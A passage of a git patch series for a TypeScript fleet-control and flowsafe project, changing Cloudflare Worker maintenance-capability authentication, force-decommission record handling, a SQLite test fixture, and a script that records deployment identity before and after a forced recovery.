const client = new FakeApi(); const initialSpec = { ...deployment, @@ -2189,6 +3151,35 @@ describe('WorkersForPlatformsBackend', () => { expect(client.calls).not.toContain('revoke'); } + if (compatibility) { + teardownRecord = { + ...record, + desiredSpecDigest: targetRelease.specDigest, + phase: 'worker-deleted', + }; + if (liveVariant === 'provider-committed') { + const intent = teardownRecord.migrationIntent; + if (!intent) throw new Error('missing retained migration authority'); + await expect( + backend.revokePlatformResourceCredentials( + targetSpec, + { + ...teardownRecord, + migrationIntent: { + ...intent, + target: { + ...intent.target, + stateArtifactDigest: 'f'.repeat(64), + }, + }, + }, + database, + fence, + ), + ).rejects.toThrow(/drifted state Worker/); + } + } + await expect( backend.revokePlatformResourceCredentials( targetSpec, @@ -2993,6 +3984,7 @@ describe('WorkersForPlatformsBackend', () => { namespacedState: NAMESPACED_STATE, client: api, hostRoutingKvId: 'host-routes', + platformProfileFor: () => platformProfile(), }); await expect( backend.deployWorker( @@ -3027,6 +4019,15 @@ describe('WorkersForPlatformsBackend', () => { expect(api.dispatchSecretOptions.at(-1)).toEqual({ includeMaintenanceAdmin: true, }); + expect( + api.dispatchWorkers.get(platform.scriptName)?.plainTextBindings, + ).toMatchObject({ + FLEET_MAINTENANCE_CAPABILITIES: 'required', + FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY: + MAINTENANCE_CAPABILITY_PUBLIC_KEY, + FLEET_DEPLOYMENT_SCRIPT: platform.scriptName, + FLEET_RESOURCE_ROLE: 'platform-catalog', + }); }); it('rejects an out-of-band immutable dispatch artifact overwrite before secrets or upload', async () => { diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index 38efacae..19766102 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -752,10 +752,15 @@ describe('createFlowsafeWorker fetch pipeline', () => { ); }); - it('relays a one-shot fleet capability without holding the signing secret', async () => { + it.each([ + undefined, + 'local-maintenance-receipt-secret-0001', + ])('relays a fleet capability with local receipt secret %s', async (receiptSecret) => { const worker = makeWorker(); const { env, ctx } = makeEnv(); env.FLEET_MAINTENANCE_CAPABILITIES = 'required'; + if (receiptSecret !== undefined) + env.MAINTENANCE_ADMIN_SECRET = receiptSecret; env.FLEET_SPEC_DIGEST = 'a'.repeat(64); const fetch = vi.fn(async () => { const response = Response.json({ alarmAt: 1 }); @@ -784,7 +789,7 @@ describe('createFlowsafeWorker fetch pipeline', () => { method: 'POST', headers: { authorization: 'Bearer one-shot-capability' }, }); - expect(env.MAINTENANCE_ADMIN_SECRET).toBeUndefined(); + expect(env.MAINTENANCE_ADMIN_SECRET).toBe(receiptSecret); }); it('refuses to reuse the Worker-to-DO credential for maintenance administration', async () => { diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index 599a5c73..a47ec426 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -202,8 +202,7 @@ export interface FlowsafeWorkerEnv { FLEET_DEPLOYMENT_SCRIPT?: string; /** Fleet resource group stamped onto trusted state. */ FLEET_RESOURCE_GROUP?: string; - /** Distinguishes the trusted state runtime from an external candidate. */ - FLEET_RESOURCE_ROLE?: 'platform-state'; + FLEET_RESOURCE_ROLE?: 'platform-state' | 'platform-catalog'; /** Per-deployment Worker-to-Durable-Object credential. */ DEPLOYMENT_IDENTITY_SECRET: string; /** The runner DO namespace createDoRunTopology drives. */ @@ -694,22 +693,6 @@ function json(payload: unknown, status = 200): Response { const MAINTENANCE_ADMIN_SECRET_PATTERN = /^[\x21-\x7e]{32,256}$/; const FLEET_SPEC_DIGEST_PATTERN = /^[a-f0-9]{64}$/; -/** - * What the shared admin gate decided. A union rather than `Response | null` - * because an authorized answer carries two things a caller needs: the - * credential the request presented, which the maintenance route forwards to its - * Durable Object on the delegating path below, and WHETHER this was that - * delegating path. Recovering the credential by re-reading the header would - * either re-duplicate the Bearer extraction this gate exists to own, or need an - * unreachable `undefined` branch to satisfy the types. - * - * `delegated` is reported rather than re-derived for the stronger reason: the - * rule that makes `MAINTENANCE_ADMIN_SECRET === undefined` mean "delegating" is - * enforced HERE — an absent secret refuses outright unless the caller asked to - * delegate — so a route re-testing the env var is restating a decision it - * cannot see, and would keep answering `true` if this gate's policy ever - * changed. One decision, reported once. - */ type AdminCredentialDecision = | { readonly authorized: true; @@ -722,38 +705,13 @@ type AdminCredentialDecision = } | { readonly authorized: false; readonly response: Response }; -/** - * The credential preamble EVERY /admin surface runs before it does anything. - * - * One function rather than a copy per route because this is the trust boundary - * itself (docs/security-threat-model.md, "The provisioning boundary"): it - * proves MAINTENANCE_ADMIN_SECRET is configured, proves it is DISTINCT from the - * deployment identity secret (sharing them would let a Worker-to-DO credential - * move the fence, and vice versa), and constant-time compares the request's - * Bearer token against it. A second copy is a second place for one of those - * three to be dropped in a hurry, and the inventory route lands here next. - * - * The surfaces differ in exactly ONE thing, which is why it is a parameter - * rather than a fork: what an ABSENT secret means. `/admin/execution-fence` - * always refuses — the fence is the control that stops a deployment executing, - * so an unauthenticated caller must never reach it. The maintenance routes - * delegate instead when the fleet requires capability tokens, because there the - * Durable Object verifies a signed capability and this Worker is only a relay; - * the longer credential cap applies to that path alone, since a capability - * token is not a shared secret. - */ async function authorizeAdminCredential( request: Request, env: Env, options: { /** Names the surface in the config-error log and the 503 body. */ readonly surface: string; - /** - * Whether an absent MAINTENANCE_ADMIN_SECRET delegates authentication - * downstream rather than refusing. The caller folds its own policy into - * this boolean so the gate stays about credentials only. - */ - readonly delegateWhenUnconfigured: boolean; + readonly delegateCapability: boolean; }, ): Promise { const { surface } = options; @@ -775,12 +733,11 @@ async function authorizeAdminCredential( response: json({ error: 'authentication required' }, 401), }); const expected = env.MAINTENANCE_ADMIN_SECRET; - const delegating = expected === undefined && options.delegateWhenUnconfigured; - if (!delegating) { - if ( - expected === undefined || - !MAINTENANCE_ADMIN_SECRET_PATTERN.test(expected) - ) { + const delegating = options.delegateCapability; + if (expected === undefined) { + if (!delegating) return unavailable(`${surface} is not configured`); + } else { + if (!MAINTENANCE_ADMIN_SECRET_PATTERN.test(expected)) { return unavailable(`${surface} is not configured`); } if (await credentialsMatch(expected, env.DEPLOYMENT_IDENTITY_SECRET)) { @@ -795,6 +752,7 @@ async function authorizeAdminCredential( return unauthenticated(); } if ( + !delegating && expected !== undefined && !(await credentialsMatch(credential, expected)) ) { @@ -826,10 +784,7 @@ async function maintenanceAdminResponse( } const gate = await authorizeAdminCredential(request, env, { surface: 'maintenance administration', - // An unconfigured secret is survivable HERE and only here: a fleet that - // requires capability tokens authenticates at the maintenance DO, which - // verifies a signed capability this Worker only relays. - delegateWhenUnconfigured: env.FLEET_MAINTENANCE_CAPABILITIES === 'required', + delegateCapability: env.FLEET_MAINTENANCE_CAPABILITIES === 'required', }); if (!gate.authorized) return gate.response; const deploymentSpecDigest = env.FLEET_SPEC_DIGEST; @@ -936,7 +891,7 @@ async function executionFenceAdminResponse( // Unconfigured is 503, never open: the fence is the control that stops a // deployment executing, so an unauthenticated caller must never move it. // There is no capability-token relay behind this route to delegate to. - delegateWhenUnconfigured: false, + delegateCapability: false, }); if (!gate.authorized) return gate.response; const fence = executionFenceForEnv(env); @@ -1063,7 +1018,7 @@ async function inventoryAdminResponse( // Unconfigured is 503, never open: this read enumerates every outstanding // run, approval, and reservation on the deployment. There is no capability // relay behind it to delegate to, either. - delegateWhenUnconfigured: false, + delegateCapability: false, }); if (!gate.authorized) return gate.response; try { @@ -1920,6 +1875,12 @@ export function createFlowsafeMaintenanceDurableObject< }); } if (!capability) return undefined; + if ( + this.#env.FLEET_RESOURCE_ROLE === 'platform-catalog' && + (capability.scriptName !== this.#env.FLEET_DEPLOYMENT_SCRIPT || + capability.specDigest !== this.#env.FLEET_SPEC_DIGEST) + ) + return undefined; if (operation === 'maintenance-status') return capability; const nowSeconds = Math.floor(Date.now() / 1_000); const consumed = await this.#state.storage.transaction( diff --git a/packages/flowsafe/src/host-kit/maintenance-do.test.ts b/packages/flowsafe/src/host-kit/maintenance-do.test.ts index fd338cfe..494c025a 100644 --- a/packages/flowsafe/src/host-kit/maintenance-do.test.ts +++ b/packages/flowsafe/src/host-kit/maintenance-do.test.ts @@ -664,7 +664,60 @@ describe('alarm-driven deployment maintenance', () => { }); }); - it('consumes one-shot capabilities and signs a nonce-bound result', async () => { + it.each([ + 'script', + 'digest', + ] as const)('rejects a capability for another catalog %s before maintenance work', async (changed) => { + vi.useFakeTimers(); + vi.setSystemTime(NOW); + for (const operation of [ + 'ensure-maintenance', + 'maintenance-status', + ] as const) { + const { env, instance, storage } = harness(); + env.MAINTENANCE_ADMIN_SECRET = MAINTENANCE_SECRET; + env.FLEET_MAINTENANCE_CAPABILITIES = 'required'; + env.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY = JSON.stringify( + CAPABILITY_PUBLIC_KEY, + ); + Object.assign(env, { + FLEET_RESOURCE_ROLE: 'platform-catalog', + FLEET_DEPLOYMENT_SCRIPT: 'acme-catalog', + FLEET_SPEC_DIGEST: 'a'.repeat(64), + }); + const minted = await mintAsymmetricMaintenanceCapability({ + privateKey: CAPABILITY_PRIVATE_KEY, + operation, + tenantTag: 'acme', + environment: 'production', + scriptName: changed === 'script' ? 'other-catalog' : 'acme-catalog', + specDigest: changed === 'digest' ? 'b'.repeat(64) : 'a'.repeat(64), + now: () => NOW, + }); + const response = await instance.fetch( + new Request( + operation === 'ensure-maintenance' + ? 'http://maintenance/ensure' + : 'http://maintenance/status', + { + method: operation === 'ensure-maintenance' ? 'POST' : 'GET', + headers: { authorization: `Bearer ${minted.token}` }, + }, + ), + ); + expect(response.status).toBe(401); + expect(response.headers.get(MAINTENANCE_RECEIPT_HEADER)).toBeNull(); + expect( + await storage.get('flowsafe:maintenance-nonces:v1'), + ).toBeUndefined(); + expect(storage.alarmAt).toBeNull(); + } + }); + + it.each([ + false, + true, + ])('consumes one-shot capabilities and signs a nonce-bound result (local catalog: %s)', async (catalog) => { vi.useFakeTimers(); vi.setSystemTime(NOW); const { env, instance } = harness(); @@ -673,6 +726,12 @@ describe('alarm-driven deployment maintenance', () => { env.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY = JSON.stringify( CAPABILITY_PUBLIC_KEY, ); + if (catalog) + Object.assign(env, { + FLEET_RESOURCE_ROLE: 'platform-catalog', + FLEET_DEPLOYMENT_SCRIPT: 'acme-release-a1b2', + FLEET_SPEC_DIGEST: 'a'.repeat(64), + }); const minted = await mintAsymmetricMaintenanceCapability({ privateKey: CAPABILITY_PRIVATE_KEY, operation: 'ensure-maintenance', From 5cfffdd8de12e18b2bc65e2d3eed7f9728c549bc Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 09:10:26 +0400 Subject: [PATCH 118/169] fix(fleet-control): retire pending migration fields during force teardown --- .changeset/wfp-catalog-signed-maintenance.md | 2 + packages/fleet-control/src/provision.ts | 7 +- packages/fleet-control/test/provision.test.ts | 189 ++++++++++++++---- 3 files changed, 160 insertions(+), 38 deletions(-) diff --git a/.changeset/wfp-catalog-signed-maintenance.md b/.changeset/wfp-catalog-signed-maintenance.md index 23a1ad30..9ca4f4a7 100644 --- a/.changeset/wfp-catalog-signed-maintenance.md +++ b/.changeset/wfp-catalog-signed-maintenance.md @@ -10,3 +10,5 @@ Existing catalog artifacts need a rebuilt FlowSafe runtime and explicit maintena Persist catalog ownership explicitly in Fleet records and preserve it through native D1 migration and export-backed teardown. Catalog cleanup checks its own script and namespace authority. Force re-entry on completed or reserved records uses claim-releasing deletion when the store supports it. Preserve the prior mutable Worker schema identity while D1 advances and retain migration authority through compatibility teardown retries. Permit declared catalog binding changes with exact owner and uploaded-target checks. + +Allow ordinary spec-free force recovery after a candidate upload by clearing migration-only scalar fields when teardown begins, while preserving the recorded resource identity. diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 4be12fc5..5608ff0c 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -1895,8 +1895,13 @@ export async function forceDecommissionDeployment( record.phase !== 'database-exported' && record.phase !== 'database-deleting' ) { + const { + pendingSpecDigest: _pendingSpecDigest, + pendingArtifactVersion: _pendingArtifactVersion, + ...forceRecord + } = record; record = { - ...record, + ...forceRecord, phase: 'decommissioning', updatedAt: nowIso(clock), }; diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 771b92eb..497024b6 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -1186,6 +1186,49 @@ interface BoundedDecommissionHarness { readonly randomUUID: () => string; } +function sqliteFleetStore() { + const { DatabaseSync } = process.getBuiltinModule( + 'node:sqlite', + ) as typeof import('node:sqlite'); + const sqlite = new DatabaseSync(':memory:'); + const query = (sql: string, bindings: readonly unknown[] = []) => + sqlite.prepare(sql).all( + ...bindings.map((value) => { + if ( + value === null || + typeof value === 'string' || + typeof value === 'number' + ) + return value; + throw new Error('unexpected fixture SQL binding'); + }), + ); + const db: FleetStateDatabase = { + query: async (sql, bindings) => query(sql, bindings), + execute: async (sql, bindings) => { + query(sql, bindings); + }, + async batch(statements) { + sqlite.exec('BEGIN'); + try { + const results = statements.map(({ sql, bindings }) => + query(sql, bindings), + ); + sqlite.exec('COMMIT'); + return results; + } catch (error) { + sqlite.exec('ROLLBACK'); + throw error; + } + }, + }; + return { + store: new D1FleetStateStore(db, { accountId: 'compatibility' }), + query, + close: () => sqlite.close(), + }; +} + async function boundedDecommissionHarness( options: { readonly kind?: ProvisioningBackendKind; @@ -8627,43 +8670,9 @@ describe('fleet provisioning', () => { }, }; } - const { DatabaseSync } = process.getBuiltinModule( - 'node:sqlite', - ) as typeof import('node:sqlite'); - const sqlite = new DatabaseSync(':memory:'); - const query = (sql: string, bindings: readonly unknown[] = []) => - sqlite.prepare(sql).all( - ...bindings.map((value) => { - if ( - value === null || - typeof value === 'string' || - typeof value === 'number' - ) - return value; - throw new Error('unexpected fixture SQL binding'); - }), - ); - const db: FleetStateDatabase = { - query: async (sql, bindings) => query(sql, bindings), - execute: async (sql, bindings) => { - query(sql, bindings); - }, - async batch(statements) { - sqlite.exec('BEGIN'); - try { - const results = statements.map(({ sql, bindings }) => - query(sql, bindings), - ); - sqlite.exec('COMMIT'); - return results; - } catch (error) { - sqlite.exec('ROLLBACK'); - throw error; - } - }, - }; + const fixture = sqliteFleetStore(); try { - const store = new D1FleetStateStore(db, { accountId: 'compatibility' }); + const { store } = fixture; await store.withDeploymentLease( source.tenantTag, source.environment, @@ -8723,7 +8732,113 @@ describe('fleet provisioning', () => { expect(result.record).not.toHaveProperty('pendingArtifactVersion'); expect(result.record).not.toHaveProperty('migrationIntent'); } finally { - sqlite.close(); + fixture.close(); + } + }); + + it.each([ + 'ready', + 'before-candidate', + 'after-candidate', + ] as const)('spec-free force from %s preserves resource identity in native state', async (boundary) => { + const harness = await boundedDecommissionHarness(); + const ready = harness.store.record; + if (!ready) throw new Error('force fixture record is missing'); + const source: FleetRecord = + boundary === 'ready' + ? ready + : { + ...ready, + phase: 'migrating', + schemaVersion: ready.schemaVersion + 1, + activeRelease: { + physicalScriptName: ready.scriptName, + specDigest: ready.desiredSpecDigest, + artifactVersion: ready.artifactVersion, + releaseSchemaVersion: ready.schemaVersion, + application: ready.applicationBindings, + }, + pendingSpecDigest: 'f'.repeat(64), + ...(boundary === 'after-candidate' + ? { pendingArtifactVersion: 'candidate-version' } + : {}), + }; + const fixture = sqliteFleetStore(); + try { + const { store } = fixture; + await store.withDeploymentLease( + source.tenantTag, + source.environment, + (lease) => lease.put(source), + ); + const steps: ForceDecommissionStep[] = []; + let failRevocation = boundary === 'after-candidate'; + const backend: ProvisioningBackend = harness.backend; + backend.forceDecommissionStep = async ( + record: FleetRecord, + step: ForceDecommissionStep, + fence: ExternalMutationFence, + ) => { + await fence.assertOwned(); + expect(await store.get(source.tenantTag, source.environment)).toEqual( + record, + ); + expect(record).toMatchObject({ + tenantTag: source.tenantTag, + environment: source.environment, + scriptName: source.scriptName, + databaseId: source.databaseId, + databaseName: source.databaseName, + desiredSpecDigest: source.desiredSpecDigest, + artifactVersion: source.artifactVersion, + applicationResources: source.applicationResources, + }); + expect(record.activeRelease).toEqual(source.activeRelease); + expect(record).not.toHaveProperty('pendingSpecDigest'); + expect(record).not.toHaveProperty('pendingArtifactVersion'); + expect(record).not.toHaveProperty('pendingRelease'); + if (step === 'revoke-credentials' && failRevocation) { + failRevocation = false; + throw new Error('fixture credential revocation unavailable'); + } + steps.push(step); + }; + const force = () => + forceDecommissionDeployment({ + backend, + store, + tenantTag: source.tenantTag, + environment: source.environment, + }); + if (boundary === 'after-candidate') { + await expect(force()).rejects.toThrow( + 'fixture credential revocation unavailable', + ); + expect( + await store.get(source.tenantTag, source.environment), + ).toMatchObject({ + phase: 'traffic-removed', + databaseId: source.databaseId, + desiredSpecDigest: source.desiredSpecDigest, + }); + } + await force(); + expect(steps).toEqual([ + ...(boundary === 'after-candidate' ? ['remove-traffic'] : []), + 'remove-traffic', + 'revoke-credentials', + 'delete-database', + ]); + expect( + await store.get(source.tenantTag, source.environment), + ).toBeUndefined(); + expect( + fixture.query( + 'SELECT resource_name FROM anchorage_platform_plane_claims', + ), + ).toEqual([]); + } finally { + fixture.close(); } }); From 034348dea7b465cd03bc88334c1f55addfdb5e43 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 10:01:48 +0400 Subject: [PATCH 119/169] feat(fleet-control): add private force recovery witnesses and observations --- .../scripts/direct-reference-context.ts | 53 ++- .../scripts/direct-reference-force.ts | 432 ++++++++++++++++++ .../scripts/direct-reference-journal.ts | 42 +- .../scripts/direct-reference-lifecycle.ts | 2 + .../scripts/direct-reference-observations.ts | 64 ++- .../scripts/direct-reference-worker.ts | 9 + .../direct-reference-journal.harness.test.ts | 36 ++ ...direct-reference-lifecycle.harness.test.ts | 299 ++++++++++++ 8 files changed, 926 insertions(+), 11 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-reference-force.ts diff --git a/packages/fleet-control/scripts/direct-reference-context.ts b/packages/fleet-control/scripts/direct-reference-context.ts index e76590e8..bceaf731 100644 --- a/packages/fleet-control/scripts/direct-reference-context.ts +++ b/packages/fleet-control/scripts/direct-reference-context.ts @@ -8,7 +8,13 @@ import type { R2Bucket, FixedLengthStream as WorkerFixedLengthStream, } from '@cloudflare/workers-types'; -import { D1FleetInventoryRunStore } from '@proofoftech/fleet-control'; +import { + CloudflareApiPlainWorkerBackend, + CloudflareProvisioningClient, + D1CloudflareApiRateCoordinator, + D1FleetInventoryRunStore, + D1FleetStateStore, +} from '@proofoftech/fleet-control'; import { type CloudflareControlPlane, type CloudflareDeploymentSpec, @@ -60,6 +66,12 @@ export interface DirectReferenceContext { readonly journal: DirectReferenceJournal; readonly inventoryStore: D1FleetInventoryRunStore; readonly transport: DirectReferenceTransport; + readonly createForcePlane: () => Readonly<{ + store: D1FleetStateStore; + client: CloudflareProvisioningClient; + backend: CloudflareApiPlainWorkerBackend; + }>; + readonly recoveryClaimSetPresent: () => Promise; readonly roleFor: (record: FleetRecord) => DirectFixtureRole; readonly spec: ( role: DirectFixtureRole, @@ -330,6 +342,45 @@ export async function createDirectReferenceContext( journal, inventoryStore, transport, + createForcePlane() { + transport.assertWithinBudget(); + const store = new D1FleetStateStore( + new D1FleetStateDatabase(environment.FLEET_DB), + { accountId: binding.accountId, ...DIRECT_REFERENCE_LEASE }, + ); + const rateCoordinator = new D1CloudflareApiRateCoordinator( + environment.QUOTA_DB, + { quotaScope: manifest.resourcePrefix }, + ); + const client = new CloudflareProvisioningClient({ + accountId: binding.accountId, + apiToken, + plane: 'plain-worker', + rateCoordinator, + requestTimeoutMs: transport.effectiveRequestTimeoutMs, + fetch: transport.providerFetch, + }); + const backend = new CloudflareApiPlainWorkerBackend({ + client, + fetch: transport.maintenanceFetch, + maintenanceRequestTimeoutMs: transport.effectiveRequestTimeoutMs, + }); + return { store, client, backend }; + }, + async recoveryClaimSetPresent() { + transport.assertWithinBudget(); + const row = await environment.FLEET_DB.prepare( + 'SELECT EXISTS(SELECT 1 FROM anchorage_platform_plane_claims WHERE account_id=? AND resource_set_key=?) AS present', + ) + .bind( + binding.accountId, + `deployment:${manifest.names.roles.recovery.tenantTag}:${manifest.environment}`, + ) + .first<{ present: number }>(); + transport.assertWithinBudget(); + if (row?.present !== 0 && row?.present !== 1) refused(); + return row.present === 1; + }, roleFor, spec(role: DirectFixtureRole, release: DirectFixtureRelease) { return specs.get(role)?.get(release) ?? refused(); diff --git a/packages/fleet-control/scripts/direct-reference-force.ts b/packages/fleet-control/scripts/direct-reference-force.ts new file mode 100644 index 00000000..c4dce664 --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-force.ts @@ -0,0 +1,432 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { + type CleanupTerminalReceipt, + type FleetRecord, + type FleetStateLease, + forceDecommissionDeployment, +} from '@proofoftech/fleet-control'; +import { deploymentSpecDigest } from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import type { DirectReferenceContext } from './direct-reference-context.js'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; +import { DirectReferenceJournalError } from './direct-reference-journal.js'; +import { + readFrozenLifecycleSpec, + readHistoricalRecoveryReceipt, +} from './direct-reference-lifecycle.js'; +import { + type DirectResourceIdentity, + directResourceObservation, + recordDirectResource, +} from './direct-reference-observations.js'; + +function object(value: unknown): Record { + if (!value || typeof value !== 'object' || Array.isArray(value)) + throw new DirectReferenceJournalError(); + return value as Record; +} + +function digest(value: unknown): string { + if (typeof value !== 'string' || !/^[a-f0-9]{64}$/u.test(value)) + throw new DirectReferenceJournalError(); + return value; +} + +function text(value: unknown): string { + if (typeof value !== 'string' || !value || value !== value.trim()) + throw new DirectReferenceJournalError(); + return value; +} + +function array(value: unknown): unknown[] { + if (!Array.isArray(value)) throw new DirectReferenceJournalError(); + return value; +} + +function forceResource(context: DirectReferenceContext, encoded: string) { + const value = object(JSON.parse(encoded)); + const database = object(value.database); + const spec = context.spec('recovery', 'initial'); + const identity = { + version: 1, + role: 'recovery', + backend: 'plain-worker', + tenantTag: spec.tenantTag, + environment: spec.environment, + scriptName: spec.scriptName, + database: { name: spec.databaseName, id: text(database.id) }, + knownVersionIds: [ + ...new Set(array(value.knownVersionIds).map(text)), + ].sort(), + localNamespaces: array(value.localNamespaces).map((entry) => { + const binding = object(entry); + return { + name: text(binding.name), + className: text(binding.className), + namespaceId: text(binding.namespaceId), + }; + }), + applicationBuckets: array(value.applicationBuckets).map((entry) => { + const bucket = object(entry); + const jurisdiction = bucket.jurisdiction; + if ( + jurisdiction !== 'default' && + jurisdiction !== 'eu' && + jurisdiction !== 'fedramp' + ) + throw new DirectReferenceJournalError(); + const creationDate = text(bucket.creationDate); + if ( + !Number.isFinite(Date.parse(creationDate)) || + new Date(creationDate).toISOString() !== creationDate + ) + throw new DirectReferenceJournalError(); + return { + name: text(bucket.name), + bucketName: text(bucket.bucketName), + jurisdiction, + reservationNonce: text(bucket.reservationNonce), + creationDate, + }; + }), + } satisfies DirectResourceIdentity; + if ( + JSON.stringify(identity) !== encoded || + identity.database.id.startsWith('reserved-') || + identity.knownVersionIds.length === 0 || + identity.knownVersionIds.includes('pending') + ) + throw new DirectReferenceJournalError(); + return identity; +} + +function fulfilled(result: PromiseSettledResult): T { + if (result.status === 'rejected') throw result.reason; + return result.value; +} + +function receiptDigest(receipt: CleanupTerminalReceipt): string { + if (!Number.isSafeInteger(receipt.completedAtMs)) + throw new DirectReferenceJournalError(); + const evidence = receipt.evidence; + return createHash('sha256') + .update( + JSON.stringify([ + receipt.version, + receipt.operationId, + receipt.tenantTag, + receipt.environment, + receipt.backend, + receipt.scriptName, + receipt.databaseId, + receipt.databaseName, + receipt.authority, + receipt.admittedPhase, + receipt.disposition, + evidence.eligibility, + evidence.ingressRemoved, + evidence.workerAbsent, + evidence.platformResourcesAbsent, + evidence.applicationR2Settled, + evidence.databaseAbsentReadback, + evidence.scan + ? [ + evidence.scan.discover.evidenceSha256, + evidence.scan.discover.evidenceCount, + evidence.scan.verify.evidenceSha256, + evidence.scan.verify.evidenceCount, + ] + : null, + receipt.completedAtMs, + ]), + ) + .digest('hex'); +} + +async function beforeIdentity( + context: DirectReferenceContext, + beforeIdentitySha256: string, + receiptSha256: string, +) { + const stored = await context.journal.readOperation('cleanup-recovery'); + if (!stored?.operationId) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const spec = readFrozenLifecycleSpec(context, stored, 'recovery'); + if (spec !== context.spec('recovery', 'failed-recovery')) + throw new DirectReferenceJournalError(); + return { + version: 1 as const, + role: 'recovery' as const, + beforeIdentitySha256, + priorCleanup: { + slot: 'cleanup-recovery' as const, + operationId: stored.operationId, + requestedSpecDigest: deploymentSpecDigest(spec), + receiptSha256, + }, + }; +} + +async function readBefore(context: DirectReferenceContext) { + const stored = await context.journal.readForceBefore(); + if (!stored) return undefined; + const value = object(JSON.parse(stored.identityJson)); + const prior = object(value.priorCleanup); + const identity = await beforeIdentity( + context, + digest(value.beforeIdentitySha256), + digest(prior.receiptSha256), + ); + if (stored.identityJson !== JSON.stringify(identity)) + throw new DirectReferenceJournalError(); + const resource = await context.journal.readResource( + 'recovery', + identity.beforeIdentitySha256, + ); + if (!resource) throw new DirectReferenceJournalError(); + return { identity, resource }; +} + +export async function recoverDirectForce( + context: DirectReferenceContext, + manifest: DirectRunManifest, +) { + const names = manifest.names.roles.recovery; + const plane = context.createForcePlane(); + const underLease = plane.store.withDeploymentLease.bind(plane.store); + let observed: Awaited>; + const capture = async ( + record: FleetRecord | undefined, + lease: FleetStateLease, + ) => { + context.transport.assertWithinBudget(); + await lease.assertOwned(); + observed = await readBefore(context); + if (!record && !observed) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const history = await readHistoricalRecoveryReceipt(context); + const historyDigest = receiptDigest(history.receipt); + if ( + observed && + historyDigest !== observed.identity.priorCleanup.receiptSha256 + ) + throw new DirectReferenceJournalError(); + if (record) { + if ( + context.roleFor(record) !== 'recovery' || + context.specFor(record) !== context.spec('recovery', 'initial') || + record.cleanupIntent || + record.decommissionIntent || + record.pendingSpecDigest || + record.pendingArtifactVersion || + ![ + 'ready', + 'decommissioning', + 'traffic-removed', + 'credentials-revoked', + 'database-deleting', + 'decommissioned', + ].includes(record.phase) + ) + throw new DirectReferenceExecutionError(); + if (observed) { + if ( + directResourceObservation(context, record, 'before-force') + .identityJson !== observed.resource.identityJson + ) + throw new DirectReferenceExecutionError(); + } else { + const initial = await context.journal.readOperation( + 'cleanup-recovery-initial', + ); + if ( + record.phase !== 'ready' || + record.artifactVersion === 'pending' || + !record.artifactVersion || + record.databaseId.startsWith('reserved-') || + !initial || + initial.operationId !== null || + initial.tokenJson !== null || + readFrozenLifecycleSpec(context, initial, 'recovery') !== + context.spec('recovery', 'initial') || + (record.applicationResources ?? []).some( + (resource) => + resource.state !== 'created' || !resource.creationDate, + ) + ) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const resource = await recordDirectResource( + context, + record, + 'before-force', + ); + const identity = await beforeIdentity( + context, + resource.identitySha256, + historyDigest, + ); + await context.journal.recordForceBefore( + JSON.stringify(identity), + JSON.stringify({ + phase: record.phase, + recordUpdatedAt: record.updatedAt, + capturedAtMs: Date.now(), + }), + ); + observed = { identity, resource }; + } + } + await lease.assertOwned(); + context.transport.assertWithinBudget(); + }; + plane.store.withDeploymentLease = (tenantTag, environment, operation) => { + if (tenantTag !== names.tenantTag || environment !== manifest.environment) + throw new DirectReferenceExecutionError(); + return underLease(tenantTag, environment, async (lease) => { + await capture(await plane.store.get(tenantTag, environment), lease); + return operation(lease); + }); + }; + await forceDecommissionDeployment({ + backend: plane.backend, + store: plane.store, + tenantTag: names.tenantTag, + environment: manifest.environment, + }); + if (!observed) throw new DirectReferenceJournalError(); + return { + returned: true, + beforeIdentitySha256: observed.identity.beforeIdentitySha256, + }; +} + +export async function observeDirectForce(context: DirectReferenceContext) { + context.transport.assertWithinBudget(); + const before = await readBefore(context); + if (!before) + throw new DirectReferenceJournalError('prerequisite-unavailable'); + const retained = await context.journal.readForceAfter(); + if (retained) { + const observation = object(JSON.parse(retained.identityJson)); + if ( + observation.version !== 1 || + observation.role !== 'recovery' || + observation.beforeIdentitySha256 !== before.identity.beforeIdentitySha256 + ) + throw new DirectReferenceJournalError(); + return { + observation, + provenance: object(JSON.parse(retained.provenanceJson)), + }; + } + const resource = forceResource(context, before.resource.identityJson); + const { client } = context.createForcePlane(); + const startedAtMs = Date.now(); + const reads = await Promise.allSettled([ + client.getDatabase(resource.database.id), + client.inspectOrdinaryWorkerFootprint(resource.scriptName), + client.listOrdinaryWorkerSecretNames(resource.scriptName), + client.listOrdinaryWorkerVersions(resource.scriptName), + client.listDurableObjectNamespaces(resource.scriptName), + client.existingDurableObjectNamespaceIds( + resource.localNamespaces.map((binding) => binding.namespaceId), + ), + context.control.getDeployment(resource.tenantTag, resource.environment), + context.recoveryClaimSetPresent(), + context.control.readCleanupReceipt( + before.identity.priorCleanup.operationId, + ), + Promise.allSettled( + resource.applicationBuckets.map((bucket) => + client.getR2Bucket(bucket.bucketName, 